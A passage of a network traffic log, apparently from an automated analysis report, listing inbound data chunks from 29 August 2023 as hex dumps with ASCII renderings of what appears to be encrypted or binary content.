2023-08-29 20:43:03 UTC	143	IN	Data Raw: 2d 3d a0 f9 07 8e 80 10 49 6b 8d 48 87 20 26 7a 2f c5 03 55 6b e2 c1 15 fc 5d 33 2e 43 01 78 0e 8f f7 7f 48 e2 28 26 79 e2 ef 83 16 97 bc 01 6a 6d e4 68 f1 ac 39 53 b6 00 99 de 3a 5c 78 4b c9 af 3c ea 95 03 63 17 fe 84 e5 83 92 cf 27 85 f5 a7 1a 14 d9 0e dd 20 b2 7e fe 87 15 dc 5d df 32 a9 0f 96 fd 76 7d 07 ce 9e 8b 10 57 5e cf 09 8c 4a 66 58 f0 2e 1b 22 61 59 d1 52 f3 bd 6b 5c a1 eb 41 a1 d6 e6 b9 67 96 0d 6c f8 ac e0 26 b9 aa 38 b7 19 68 72 71 7a e6 4a 71 34 e7 26 0c f8 bb 3f 31 77 f8 c2 f0 70 6a 68 ac fc 1c 4c 51 3b 9e d6 05 fb 24 2e 61 a6 8e ce 78 b0 70 1b 45 53 c1 3b 96 be 36 d4 22 cf 3b ff ad f9 fe 58 b2 89 95 aa 51 a2 0d 52 b4 88 e3 22 c0 2e c7 74 15 cb f5 19 0c 02 bd 02 a1 06 b9 39 24 14 ba ee ce 05 86 24 ef dd fd 86 95 28 78 87 cb 3e da 49 1d 60 Data Ascii: -=IkH &z/Uk]3.CxH(&yjmh9S:\xK<c' ~]2v}W^JfX."aYRk\Agl&8hrqzJq4&?1wpjhLQ;$.axpES;6";XQR".t9$$(x>I`
2023-08-29 20:43:03 UTC	144	IN	Data Raw: 2f 00 ae ed a5 0d ec 60 d6 cf f7 ed 27 93 d0 28 f5 6f 8e f4 02 8c 65 8e cd 17 ad 84 ab bd cb 75 cf cc dd 0b b1 47 00 ae 0c ae 49 a2 a3 42 7c 65 63 e1 f8 88 84 ed 2b 4c a2 03 19 f6 35 69 78 19 05 d0 e5 fa c0 43 94 7c 7a c1 58 9b 4f d7 ab d6 d8 83 4f 90 fd df 75 f0 fc 6a ea 7e 73 1a bd 67 8c eb 81 d4 8b de 8e 4a 54 cd 66 38 4b 04 d7 2b d3 43 14 78 5b 29 7b 45 2e d0 87 ae 8d 54 73 ed 63 10 bb 33 52 de 62 82 c6 c9 4b 15 cd 9c ca bf 7a 87 11 5d 49 ea 7b dc d3 f5 fe ad 8d c2 52 a9 e9 87 cf 3c 66 80 bc 47 b4 d5 9a fe ed 8f 8b 9c 7d 52 83 b9 a4 d0 3c 65 5c 90 77 f5 d3 fd fb a2 e5 bc 78 b4 6b 4d 42 46 03 b3 e3 e7 78 c8 b0 89 fb 3e f6 ac b4 67 cf e6 43 b2 e3 e2 66 be ca 6b 15 37 2c cb 3e 0d 57 72 99 8c f0 20 4b c6 b7 c0 af 1b a4 d8 0f 48 3c 73 f1 77 d5 90 bb ae ce Data Ascii: /`'(oeuGIB\|ec+L5ixC\|zXOOuj~sgJTf8K+Cx[){E.Tsc3RbKz]I{R<fG}R<e\wxkMBFx>gCfk7,>Wr KH<sw
2023-08-29 20:43:03 UTC	145	IN	Data Raw: 34 b4 58 a5 1c cc 87 44 f8 ac a3 75 01 fc fe ce a9 47 c6 38 a7 b6 50 0a 4a 9f 70 1d 5e cd a9 b2 85 2f f4 23 67 43 2f de ec 9a b7 9a 7d c1 40 d7 47 b1 2e 3b ce 30 85 55 0b 7c 65 36 34 73 e6 13 74 53 36 79 75 94 14 83 8c d4 19 9c 57 26 00 1d 59 9c e0 08 88 98 f0 78 30 2b f8 c4 34 ee fe 30 1c 6a fd 71 a9 4e 49 71 16 13 71 dd Data Ascii: 4XDuG8PJp^/#gC/}@G.;0U\|e64stS6yuW&Yx0+40jqNIqq
2023-08-29 20:43:03 UTC	146	IN	Data Raw: 85 25 68 23 d8 b4 bb b7 49 b4 72 32 33 46 7d d5 43 25 b5 95 e1 26 e8 c7 ff a1 0d 06 64 02 d4 2c 41 11 60 7b f2 9d f6 8f 7a 24 b2 3a 88 4b 52 84 c4 43 50 30 d8 6e 60 47 d5 db 67 02 d8 59 10 86 7c 02 c7 d6 70 c5 dd 75 1a 11 c4 ab 95 47 7e 3d 46 9d 10 0a 47 b4 3d 3d d2 3c e5 2c a0 96 9f ce aa 6d 8d aa a2 ab 93 58 2c c5 65 b3 6e 82 c6 05 be a1 6f f2 bc 08 ff 9a 8d 56 d2 ec df ac 34 0d 10 32 c0 72 f8 a0 30 12 6d ea bd 1b ee b8 89 d7 6e 25 7a 21 1f ca b4 6b 4a ea 07 85 dd 9a 53 fb 35 9c 1f ad d1 d6 c6 93 a9 5e 24 42 fc 40 82 22 4e 8a 88 f8 e4 4a fe bd ce 0a 6e 14 db 54 4b c9 62 e6 ba 10 95 34 4c 2b 0e 74 29 35 60 50 3d b8 67 ff f0 77 dd 17 b2 a1 d8 93 0d 0c 74 c9 1c 59 8d 0c 3d 57 1b a1 a9 d9 ab de 6f fb c3 26 9f d3 1c e9 d0 92 f6 3a 41 d7 d9 c9 c3 dc 78 2c 1b Data Ascii: %h#Ir23F}C%&d,A`{z$:KRCP0n`GgY\|puG~=FG==<,mX,enoV42r0mn%z!kJS5^$B@"NJnTKb4L+t)5`P=gwtY=Wo&:Ax,
2023-08-29 20:43:03 UTC	147	IN	Data Raw: bb 21 30 58 34 5d ea c8 79 cc 45 65 ec 38 91 f0 67 a6 2f 56 80 65 1b 23 09 3c 25 07 61 be 77 85 63 e6 cd 68 b2 56 28 8d a9 b3 e0 a7 84 a0 da 2b 01 96 92 6a 65 16 8d 80 41 04 7f e6 db 9b 42 7f b5 f0 f8 8a 09 d7 cc 1f 32 a9 30 2f a2 57 9b 86 5a 5b bd aa c2 5d e8 3a 51 98 b6 0d cb 55 35 7f d0 9e 45 fa 71 9b bf 06 ab cd d0 14 37 09 0b cd 7f 76 ba 4c 1f df 64 73 ac 1c 8c 76 70 c0 a8 a5 b7 12 ed 1e 6d 8a 49 c0 df 70 9e 7f 76 ad ff 52 af 06 b2 1a c3 9a 3d d7 24 4d 01 3c d2 f2 85 cf a3 63 0f b1 e7 87 f5 f5 a4 0b 2c 28 b8 cc 39 91 ba f3 f2 bc d5 9e 41 ef 08 b1 22 1b fa d3 58 a2 ef 5f e2 a2 51 da fc 59 99 ad 62 ba 64 93 2a 1f 5e aa fc 52 0e ef 35 7e ff 52 44 5f 56 a9 da a7 2f 5b ea 77 e9 3d 02 eb 2c 73 05 90 94 fb 3d 7b 25 57 61 a2 41 82 d0 cc e9 01 91 eb 5b 19 d6 Data Ascii: !0X4]yEe8g/Ve#<%awchV(+jeAB20/WZ[]:QU5Eq7vLdsvpmIpvR=$M<c,(9A"X_QYbd*^R5~RD_V/[w=,s={%WaA[
2023-08-29 20:43:03 UTC	148	IN	Data Raw: cf 13 d9 f0 41 cf 8f 96 32 ba c9 57 d9 49 fa 0a 71 76 66 88 cb 09 ad e6 e4 db f3 52 dc 74 ed 98 68 6b 29 95 24 5c 9e 75 47 c6 63 36 28 c4 49 43 05 a3 d2 34 b0 12 92 8d cf 6b 76 30 ac 72 4b 4e a9 c2 8e 3d 6a 59 91 ac 3c e5 17 dd 69 09 79 a6 dd de fd f1 25 5c 01 a4 d1 a0 75 00 1e e4 42 4e b9 c1 b4 d1 b4 df 24 11 b5 80 e7 94 73 51 1c a2 39 80 d2 80 14 18 38 f9 67 39 9c 9b 2e b4 83 14 9a bd 84 ef cb 27 2b c5 29 40 85 93 e8 a0 05 32 de 43 ab 20 3c 3c 23 93 d0 61 cb 80 cc 39 10 2a 62 03 24 b8 0c 14 63 5d b4 ad 3d da cb 9d 12 0d 27 a5 59 a0 95 5b 27 3a d1 e0 63 ad 2c 74 a7 02 54 0f 91 8e e4 dd dc 89 5b 10 84 29 9d 6a 99 db 6e 0e 04 ab c4 f5 69 7e 3f 24 7f 1f 33 db 6b 06 73 a7 20 8b ff 46 f0 32 e9 7f 03 07 82 f1 35 81 b2 ab f0 e0 ad e8 99 30 c3 dd a2 b0 fd a8 d2 Data Ascii: A2WIqvfRthk)$\uGc6(IC4kv0rKN=jY<iy%\uBN$sQ98g9.'+)@2C <<#a9*b$c]='Y[':c,tT[)jni~?$3ks F250
2023-08-29 20:43:03 UTC	149	IN	Data Raw: 85 e6 f1 c6 70 c3 42 0b 65 b8 57 61 aa 8d 0d b1 07 c5 ac 20 66 a8 71 da d1 41 79 aa df 76 b6 3d 93 f9 cd c9 8b 17 1c be 07 fe 90 bf 5e 9c fd 53 da 4f d0 d0 1c 98 ea 02 98 44 19 d7 91 ca e4 9f a5 7e d5 ec bd fd 40 99 70 16 c4 48 ff 05 83 99 92 b7 af 63 88 0a 0e f4 12 2a f1 49 b3 2f 06 ea f9 a4 fa 43 3c 34 a6 ea b8 54 b2 bc 5a b9 ac 7f 69 99 9d 65 49 ee 7b 6c a1 19 0f aa 4d 89 fc b5 f0 f2 57 dd 3a 77 0d d0 bc f6 da 25 d2 8a 3d c6 a6 cd b7 62 8a b6 28 2f ff 91 4f a1 67 70 57 5d 54 eb 59 c8 a7 1b fe 2e c5 b0 04 f5 69 5d 1c 6e 82 aa 16 b9 2f 21 10 00 3a fc 99 45 a8 74 4b 58 fd 7e a0 5c d8 66 8e 79 53 20 ac ed e8 85 7e 85 23 ba 5f 22 f7 aa 40 02 b7 ac 2b 29 a3 e1 68 8b 83 2d 22 aa 23 d9 33 a9 fd 95 72 7f 36 5f 72 cd ef 06 54 a5 14 a1 6c f4 21 eb b7 23 c2 bb 33 Data Ascii: pBeWa fqAyv=^SOD~@pHc*I/C<4TZieI{lMW:w%=b(/OgpW]TY.i]n/!:EtKX~\fyS ~#_"@+)h-"#3r6_rTl!#3
2023-08-29 20:43:03 UTC	150	IN	Data Raw: 99 ec 8b ac c2 1b f2 08 94 ff 8e ea f2 6d d9 3e d3 bf 38 9a 4b 37 e3 df 02 66 f8 2b 58 49 cc 5b ca 6e 26 be ce 9b 46 c9 a2 a0 98 d1 2b 74 23 df 3f 78 f8 6e a1 f1 81 3a c7 44 ac 23 ba a3 dd 4d 9c 58 64 44 bb 56 b5 03 75 b6 4f e5 10 75 83 f3 dd b6 e8 77 1b 55 91 ef 7b e3 40 ce 26 98 ee 88 e3 69 55 95 91 8b 9b 89 8d ca 85 b5 0a bf 02 9f f6 5b a6 27 2b 2b 22 2e a8 fa a9 16 72 45 a6 0f ad 3c 46 92 d1 42 01 2a 2b ff ab 0f 20 2a f6 d3 13 df 02 13 de ec ce 94 50 65 82 9f 3a da 1f 3c 25 f7 f1 a7 3a 87 08 36 2e 93 6b 35 9a 76 06 ad 2d 9a b9 16 4a 0d 3b 38 e6 7d 8c 35 23 51 f3 da f0 a4 7d 9d c8 18 3f f5 a9 c6 d8 82 44 c8 b2 26 f5 31 81 7a 65 f5 77 c4 d8 ea c8 05 58 60 51 f8 3f 3c b6 f4 03 69 d9 ed fa 6a 3e c0 74 96 e6 99 9f 21 d4 8d 1e bd 4c 81 91 af 8d 01 54 a0 a4 Data Ascii: m>8K7f+XI[n&F+t#?xn:D#MXdDVuOuwU{@&iU['++".rE<FB+ Pe:<%:6.k5v-J;8}5#Q}?D&1zewX`Q?<ij>t!LT
2023-08-29 20:43:03 UTC	152	IN	Data Raw: 18 c7 64 65 c6 04 b0 ef 57 f1 c2 bb f7 0b 88 4a 13 08 8f f7 dc bb 21 78 cb dc 6a c5 7c 0b 58 71 ff 6f 02 e2 14 e6 cd af da ac a0 a3 56 99 0e a9 17 ce f6 2e 31 24 1e 47 3d b1 01 c8 ca 07 17 78 97 ee 85 58 74 e0 1d ec e4 76 aa b8 4a 99 d9 d6 0a ef b4 93 fb 6f a2 4e cd c2 9f 85 34 05 73 a2 3a c9 fd ac 78 1a b6 92 07 3b 97 09 bb 83 2b b8 87 ac 9b fb cf f7 23 5d 64 a7 7d 95 da 90 57 03 8a 9a 6e bb 3c 40 83 6d 08 2b 54 c4 e7 c7 b1 81 5d ab 5e 8a fe 27 b9 04 37 7e 41 f0 41 b2 ab 63 56 bc e2 dc 73 e1 0c f6 5f 4b e6 0e f8 dc 92 fd 47 11 90 d1 1e a4 07 11 89 07 00 fa 8a 23 91 33 db dc 00 62 fa bc fc 45 15 30 ae 7b 40 22 3c 9a e2 fb 86 86 9b 96 f8 d0 6e e8 b7 c4 27 62 06 ed 27 1a 74 a1 bf 76 45 48 8d 8f 01 7d 5c a1 c5 45 95 98 05 68 eb ae 56 b2 a4 47 e9 25 f3 a6 64 Data Ascii: deWJ!xj\|XqoV.1$G=xXtvJoN4s:x;+#]d}Wn<@m+T]^'7~AAcVs_KG#3bE0{@"<n'b'tvEH}\EhVG%d
2023-08-29 20:43:03 UTC	153	IN	Data Raw: ad 0a 4c e4 67 4f 05 da f6 c0 30 73 a1 48 05 17 b2 ec a4 ab db cc f5 06 e0 e0 b5 40 92 32 91 0f 53 0c 7a 3b 73 f0 b7 81 71 e9 87 cd f2 20 49 e0 d5 85 1f da f7 2d 9b 70 80 c8 0a c8 c5 83 79 d0 c6 ca 1f 4b c4 5c 26 2f 0b 84 e5 43 6d 38 da 50 7c 2a e5 ca 45 94 82 e4 99 fc 02 fa 7b 17 fe c7 6b bd 81 73 e4 9a a2 ac be 70 ef 09 11 a3 e4 ae 89 04 fa a9 15 1d ad de 9d b7 30 f7 ba 6e d0 ac d5 ed 3f 28 c2 31 19 99 86 50 88 c5 a3 bc 8a 21 bb 5a 03 da d9 69 cc a2 c5 38 e2 03 f5 76 50 9b b3 70 06 59 65 75 94 aa b7 e1 f3 8b d5 bf d5 22 61 28 ce 53 5c 64 8b f1 fe c8 6e cb 6b cd c6 99 4a b9 eb 92 b6 29 b7 56 30 d4 25 2d bb 8d 4f c5 70 de 3f 6e e8 0e 53 e1 4a 98 84 12 12 7c e4 a7 e5 27 23 12 67 03 37 d3 12 36 bf 77 45 37 e8 42 1d 85 32 8f f4 ec 7f 30 ce 69 c4 05 63 cf 23 Data Ascii: LgO0sH@2Sz;sq I-pyK\&/Cm8P\|*E{ksp0n?(1P!Zi8vPpYeu"a(S\dnkJ)V0%-Op?nSJ\|'#g76wE7B20ic#
2023-08-29 20:43:03 UTC	154	IN	Data Raw: 01 2f 20 9d fa 09 30 59 45 fd 06 18 38 59 34 f7 52 5c c6 3b 5b 5d a0 ea 5b 22 eb dd f4 75 1d 5f ef be ab fc 7b e1 56 db cb 16 25 36 3e 06 9c 25 cd 20 c2 ef bd b8 8d 38 08 3e 99 1c 3c fb a8 51 fb 0f df 4d 43 a6 ff 1c 01 d4 15 f8 f6 8a 4c 1b 32 21 9c 13 b9 2b 24 3a e2 3f c9 aa 63 2e bc 62 fa 15 97 c2 f2 2d 6b 32 33 d8 9e 2c b1 d9 41 71 92 a9 36 ca 59 f1 cf e6 50 dd 6c 18 51 39 da 83 c8 79 21 5d 6f 74 95 66 7f 03 44 11 80 09 a5 61 e7 46 4a ee fb 98 c8 f9 ed 1f 42 50 7b 77 7f ba 11 62 68 fa 04 1a 50 51 78 90 64 1d 39 da 7b 57 1b 74 da 18 74 62 6a e6 2d 6e a4 bd 7a b6 6d 69 2c 9f 64 a7 09 b8 a0 e9 2f 67 e1 1a 9b 48 0c 27 fc 4d b4 73 b6 08 64 67 09 71 21 a4 a0 d6 cf b0 dd be 57 8d b0 91 31 b8 fa bb cc e1 0c 25 42 a4 42 60 2a 04 ad 80 fc c6 ba 44 97 03 f5 3e 3b Data Ascii: / 0YE8Y4R\;[]["u_{V%6>% 8><QMCL2!+$:?c.b-k23,Aq6YPlQ9y!]otfDaFJBP{wbhPQxd9{Wttbj-nzmi,d/gH'Msdgq!W1%BB`*D>;
2023-08-29 20:43:03 UTC	155	IN	Data Raw: f3 bc 8d 51 43 20 96 14 ef e0 07 c8 80 91 4d 12 20 3d c4 79 7b be a5 38 44 72 9e 51 32 e7 81 44 9b 8b 4d 45 33 c6 af ba 32 8d c6 7d 3b ba 3d 21 36 26 ba df 70 68 dc 1f 22 4c 3c 93 0c 86 e9 5c c7 de 54 71 ab 18 b6 33 60 7b 8f be 6b bb 7a d4 42 8d e7 ef 72 20 ea 62 67 a8 01 41 c3 04 1a 21 4c 1f e1 a1 f2 f6 d0 d2 c5 5e 24 df 79 fe 07 be 37 50 2a e3 90 50 5f 04 02 fe 26 39 8b c4 89 27 48 d2 0b 87 7b a6 a6 7a a5 25 8b 61 c6 4b 06 5c 36 b4 11 4c 79 81 14 8b 04 fc 26 66 f7 60 2e fe 71 ea 4d 56 1e 2b 1e b6 5f 0f 05 7b 7a 95 9e 92 24 31 89 ea f5 25 b3 75 2f 47 ec 60 5d 9d dc b1 30 89 7f ec c9 2b 06 1b d1 df 10 2e cd 6f f7 9a fc b1 71 35 e9 7a f3 fe e1 58 06 02 8e 86 bc 4f 14 ba 54 b8 cd 2e 71 dd d7 13 a5 26 cc 17 3f 94 c5 d9 9c 2e 04 02 64 6d 0b 3b b5 cc 9a 4c a3 Data Ascii: QC M =y{8DrQ2DME32};=!6&ph"L<\Tq3`{kzBr bgA!L^$y7P*P_&9'H{z%aK\6Ly&f`.qMV+_{z$1%u/G`]0+.oq5zXOT.q&?.dm;L
2023-08-29 20:43:03 UTC	157	IN	Data Raw: 3c b2 ea 65 bf 2a ec 61 c7 56 c2 4d 7c 66 69 15 25 0b 24 a4 b7 e5 6b 1f 61 57 5c 92 b5 a7 70 f0 61 de c7 d1 e5 09 7b b9 9f 80 9f 9c e8 5c 61 ce 07 d7 86 c7 c1 ce a5 3c 66 eb 8d 00 40 a5 99 a9 50 15 8d 34 c2 9e 2e 7f 29 57 07 34 e5 3f e4 e1 a8 9c 89 73 81 05 3b 25 e8 0d 37 c5 1a de 59 d4 d3 90 fd 89 d6 8e bb b9 18 05 21 af b9 62 d1 1f a0 88 73 49 05 66 c4 8d 65 d4 37 63 b5 2f f1 ca 46 ee 30 38 8d e6 b4 79 d1 e7 e6 8e e1 20 af 7b 2f aa 94 04 c3 bd 26 ed c7 a7 9b 66 82 85 70 df 4f af 88 3c 36 c4 fc e8 c1 84 58 eb 65 0d fa 03 79 3d 84 44 b0 3d f0 7d 0d 32 52 d7 db 47 ca 0f 7f 1b 67 34 30 25 c3 7e c5 41 32 fb bc 91 f0 1f ee 25 df 20 48 53 6f de ee da 93 f6 b4 4e 4c c0 e9 76 51 aa 9c 1e 3a 39 18 b2 bb 3b 25 2f c4 87 3e 18 30 e4 39 d7 68 52 e3 1a 54 bd 07 a5 57 Data Ascii: <e*aVM\|fi%$kaW\pa{\a<f@P4.)W4?s;%7Y!bsIfe7c/F08y {/&fpO<6Xey=D=}2RGg40%~A2% HSoNLvQ:9;%/>09hRTW
2023-08-29 20:43:03 UTC	158	IN	Data Raw: 0c 79 83 d8 2e 2a 11 4f e5 32 97 11 92 7b a6 9a ce 1a e0 d4 57 1e 2c 95 51 bd 72 1d 69 7f cd ed 60 34 df 52 d6 9a c3 29 8b 15 f0 70 f9 ef bf 05 68 88 bd 2a 5f 47 bb 5a b0 16 dd aa c4 d0 48 21 f3 b3 1c de dc 8f 07 28 32 03 d7 d3 5a 57 a9 fa 1d 77 8c 9f 1e 66 d1 d1 da 9f fb 38 46 14 90 c6 24 6f 36 da e8 84 75 5c bf 99 b1 d6 fe a9 83 ba 1d 1e 2c b8 ff 57 59 43 b8 70 67 56 65 85 41 ad d4 c6 b7 80 32 d4 65 7c 81 2c 8d b2 75 5f 69 37 31 50 6b 57 77 38 25 6b 91 bd 16 ea 56 01 be 67 b2 75 8f b9 fa a3 ff 6f 46 c1 ff 7c 66 07 3c 50 82 6d bc e2 00 3b 53 bc f6 87 d3 c0 a6 33 99 28 02 8c 10 c4 96 ec da 7c b2 ba e1 b4 3d 74 d2 63 03 9d d0 29 74 f9 e6 e9 af 7c 42 63 c3 20 6d 3f 99 ae 25 67 69 b8 b7 f2 96 33 30 36 dc c5 18 65 b2 ca a9 f2 89 21 ea db 45 68 5b f3 21 56 50 Data Ascii: y.O2{W,Qri`4R)ph_GZH!(2ZWwf8F$o6u\,WYCpgVeA2e\|,u_i71PkWw8%kVguoF\|f<Pm;S3(\|=tc)t\|Bc m?%gi306e!Eh[!VP
2023-08-29 20:43:03 UTC	159	IN	Data Raw: aa a9 ea 00 73 d4 0c 89 8b cb a5 d3 08 5d d6 12 e9 24 5f 2b bf 98 02 e6 30 92 a9 fb 90 47 91 06 59 eb 0e e9 34 60 70 a9 5c eb 81 5c cb f2 e5 16 da bd 9f cc 3a e2 a9 ab 04 ff 0f c3 c0 3a ac 3c 30 fd 0a 8f a5 ae fa c8 d9 a3 a9 91 de 9b 83 5b 7f f3 94 5b 31 8d 9f df f8 fe 2a d4 81 84 f7 fd 32 a7 1e 8e 69 aa 8a f4 94 19 f6 fe 89 8f d4 bc 50 7a 52 10 ab 84 19 eb 1f db e7 3f df 58 d3 5c 8b 8b 4a 22 80 d7 2b 44 8d 8f 29 8f 30 bf a1 88 e1 c3 95 61 86 85 1f 3e e5 69 37 6a 93 24 18 43 f2 27 3c c9 61 0a 13 3e bd e3 8b 1f cc 0e 52 9c 47 b5 21 36 04 7f bf b5 a5 7f f3 bf 84 bd eb 6e 00 19 40 1c f0 c4 eb 57 50 52 01 c7 2a d9 93 6e 34 7c 7f 92 43 30 4f 7d 0e fc 34 a5 32 d6 16 40 d4 77 fc ca 7b 45 2b 3f da ea 2d 6d 14 6f 19 0b fc 82 4d 1b 6f 95 2b 7a 39 da 5d aa e8 08 af Data Ascii: s]$_+0GY4`p\\::<0[[12iPzR?X\J"+D)0a>i7j$C'<a>RG!6n@WPRn4\|C0O}42@w{E+?-moMo+z9]
2023-08-29 20:43:03 UTC	160	IN	Data Raw: bc e3 1a bb ad 37 94 6d 09 31 86 39 b3 a8 c6 b2 c3 11 76 72 90 d0 26 06 54 ef ae 2e 80 58 32 6f d5 b2 4a 84 8e a5 c3 ef 58 64 06 3f 7d 93 c1 ae 0b 07 19 64 4d 8a f1 16 95 00 08 17 ac 63 4f 67 1d d3 3f ab 32 e4 3f 5a a2 13 56 0e 4e ea 13 78 c5 9a dc 07 d0 9e 0d 28 56 a7 32 47 ee b8 0c e2 b3 75 73 36 f7 95 3d d8 71 f1 00 f8 95 4c 79 f3 ad e5 1a 04 2b 2c 2d c5 c3 a1 eb d9 11 a6 58 c2 84 f7 70 43 86 86 9b 22 28 7e 49 73 fa 30 1f 78 ca 81 9e 90 ea 1a 28 d5 de 28 a6 71 ce 74 8f bc 00 b8 d8 0e c9 9a 35 9c 04 49 dd df db 78 ec ac a0 26 16 64 ac 89 20 31 2a 0b 80 74 c1 4f 6f 48 c5 c8 5c fd d4 cf 8d 34 3c 7e 3e 10 08 9c 97 01 52 74 db c0 bb d5 6f 6e 79 d4 b2 8e 21 48 3d e6 16 33 c3 2d 78 97 63 c3 76 9f 37 09 f6 ca c9 63 28 f5 33 4c 50 3a 68 4d 99 06 c0 45 36 54 13 Data Ascii: 7m19vr&T.X2oJXd?}dMcOg?2?ZVNx(V2Gus6=qLy+,-XpC"(~Is0x((qt5Ix&d 1*tOoH\4<~>Rtony!H=3-xcv7c(3LP:hME6T
2023-08-29 20:43:03 UTC	161	IN	Data Raw: 7f d9 7a 74 71 23 b0 28 17 5b f2 a6 df 1c c7 bb 69 99 1c 25 de 13 14 a4 ce ce 55 27 d8 f6 a1 d2 b0 64 2b 61 5d 33 c0 9c e6 79 9a 66 3f b2 65 b7 72 ef bd 38 71 92 25 31 2e 9d f8 8a 37 ef 1e e6 bf 13 80 44 98 82 b6 f9 5e bd 9c de 5b c4 0f d1 0e a4 10 0c 42 92 12 94 cc e6 72 10 9f c0 2e f5 49 c3 3e e4 4d 55 72 21 a2 9e 62 34 Data Ascii: ztq#([i%U'd+a]3yf?er8q%1.7D^[Br.I>MUr!b4
2023-08-29 20:43:03 UTC	162	IN	Data Raw: 49 7e 5b c8 ad 8a c0 2b b0 22 0d b2 3d bd 1e 8c 27 d0 53 fb ae 2d 3c ad f5 48 d0 02 15 98 79 34 b3 7f bc db d4 ef 2f ec c8 6c 5a 98 38 a3 dd 54 c4 aa a7 18 a5 be 30 00 bb 41 61 74 56 86 dc c5 f6 8b bb e3 9f 44 93 d3 74 e4 0a f7 7d 04 87 ec c8 45 49 e0 42 38 7c 7b e0 c2 ca 7a 6a 50 1d 8f e8 02 49 0f ea a9 10 a6 ba ad 7d 88 6e 53 2a bb f0 6b ce c2 85 63 87 ba 86 dd 2c 26 e3 c1 d9 c1 44 6f db 14 11 24 05 af 4e f2 58 d3 c7 cd 13 6c 9e 44 73 a0 83 3c ae 6c 11 97 b3 8b 06 dc 9e 81 4e 96 e6 0d 77 ed e4 94 25 8d d4 31 96 df 7f 7e 3b 79 ae a5 cd 35 ce ae 75 dc a2 45 17 83 65 fd 78 84 02 35 87 f9 70 6f 9e bd 94 01 18 df 0e 5c 91 75 6a 44 b7 78 6a e8 56 3e 19 11 8d 2b 2a eb 02 46 c8 64 a2 2c a3 28 53 2f e0 e0 03 63 63 53 7e ac 4e 36 ea 22 44 be 36 78 1b bb 82 ba e7 Data Ascii: I~[+"='S-<Hy4/lZ8T0AatVDt}EIB8\|{zjPI}nSkc,&Do$NXlDs<lNw%1~;y5uEex5po\ujDxjV>+Fd,(S/ccS~N6"D6x
2023-08-29 20:43:03 UTC	163	IN	Data Raw: 65 80 52 f6 ce 35 9e 92 9f 23 6a ce 6f 19 fa 6f a1 6f a7 51 d8 c3 44 2e b4 eb 55 2f 3d 2d ae b4 30 6f 03 08 ba 87 d8 51 2f 7d 2e 5e 22 c2 d9 cd db d7 fe 30 fd 0b 33 75 3a da 66 50 22 3f 3e 36 64 7b 6e 27 98 c7 8c 97 8e c2 93 a2 ab 59 5b 2c 04 fa 1b 4e a6 3f f6 50 07 fd e4 89 32 c4 67 b3 44 b2 da f0 cc 0c 6d c5 a9 e1 52 2d 44 91 2c 32 ff 36 b9 64 b1 5d 26 48 7a a9 7e 2e 31 86 d1 29 11 d1 32 10 8d b2 10 02 f4 4f 69 3d 9b 85 b4 aa 45 72 bf d0 e3 ce 6b 98 f9 79 28 3f d8 23 4b 12 19 3d 41 e4 47 db 3c bf 85 76 06 6c 74 9b 02 33 00 d7 c3 0e 98 a7 9d 98 36 32 53 f2 7f e9 3a f1 c9 4b 32 3c 94 6a cd 88 7b 47 65 19 63 82 45 8e 7c 3c e8 a3 8c 4b c8 00 19 f5 1a 5c 5d 77 68 98 67 ac b4 08 17 21 2a ab 79 1e 0a d0 2b 2e fa 2c c7 b9 8e 6d 21 0b 2e 43 63 84 bb a5 ea d9 16 Data Ascii: eR5#joooQD.U/=-0oQ/}.^"03u:fP"?>6d{n'Y[,N?P2gDmR-D,26d]&Hz~.1)2Oi=Erky(?#K=AG<vlt362S:K2<j{GecE\|<K\]whg!*y+.,m!.Cc
2023-08-29 20:43:03 UTC	164	IN	Data Raw: bb 64 eb a8 f6 5d 11 f5 a4 d4 c3 45 bc f5 3b b1 27 a2 31 39 37 81 69 4d 15 5d 8d b8 c8 e0 55 b5 ec 7b 63 e2 32 72 6c 7f 73 0f d1 e9 b5 f3 1c 77 0b ec 4f 8a 50 31 07 41 a4 2f 05 d9 4e 74 c7 af 83 84 41 0b 15 b9 1d 85 aa 50 ed ab ef 04 b4 66 97 31 f2 fa 41 ce 51 a5 e6 12 28 c4 21 2c d5 7b 96 3f 3b 21 77 37 c8 f5 fb 95 93 26 f9 65 03 3d ed 78 de b3 6f 27 30 ed 31 ae e1 e1 d7 81 1c e2 48 92 1e bb e5 c2 6c 52 9c 15 8e 57 c6 29 fb a8 f3 35 4c ea cb 68 ef d1 b2 d2 bb 09 4a 95 b5 c4 b5 9b 43 4f 41 54 10 51 db 98 6d f5 d6 c4 20 07 4a 59 01 84 a7 b5 ec 7e a9 c0 75 d2 f4 79 ff 06 d3 73 14 ff e4 32 07 58 5d b8 bb ba fa 9f a1 b2 92 96 fa f0 c8 db f4 7d 65 fb 8b 0e 22 5c c7 93 3a 2d c8 ba 86 6d 23 53 5a 16 16 38 86 31 b0 8f 64 00 93 c9 72 88 05 58 de 98 6f 14 29 42 6b Data Ascii: d]E;'197iM]U{c2rlswOP1A/NtAPf1AQ(!,{?;!w7&e=xo'01HlRW)5LhJCOATQm JY~uys2X]}e"\:-m#SZ81drXo)Bk
2023-08-29 20:43:03 UTC	165	IN	Data Raw: 96 8c 7c df 83 78 65 8e 2a ff 8c e6 10 58 6b dd 63 c0 be 6c 79 7a 79 d7 31 18 21 ed 5b 89 a6 91 47 bc 2b ff b6 ed ca a1 76 93 dc 80 02 30 50 13 0b 49 d1 98 dc 09 13 ac 38 23 01 56 29 f9 ac 6f 38 73 62 4b 20 76 16 26 a3 5c 72 f3 a1 09 25 cf db c4 73 a7 33 93 7f 0f 20 37 99 55 00 98 8e 62 92 9e 6a 62 f6 a3 f3 cd e9 ec aa ad b7 b6 66 8b 18 0d f9 43 11 16 88 08 e7 ea 9b db 14 33 9c 24 12 ca 93 0d 04 99 13 c1 66 e2 04 1d 01 56 df be 10 23 29 78 54 5e d6 3c 85 88 4a 0c 8c 47 f3 16 30 3d 22 77 f5 a5 91 c3 4a bb 38 9b 7f 70 3c b8 0b 5a 3d 53 19 0a b0 b5 55 5d 27 f1 06 42 8e f3 07 15 69 4b 4a 3c 0b c6 0a 20 3a 25 05 32 58 79 f3 3e 6e fa 3c a6 3a b1 02 f2 16 e6 fa 83 d9 2b 5c 39 7a 45 b9 08 9f 77 1c 75 7e 5e 24 f2 64 f1 19 12 88 e3 73 b4 aa 3b 7b 3c 3f 65 81 15 35 Data Ascii: \|xe*Xkclyzy1![G+v0PI8#V)o8sbK v&\r%s3 7UbjbfC3$fV#)xT^<JG0="wJ8p<Z=SU]'BiKJ< :%2Xy>n<:+\9zEwu~^$ds;{<?e5
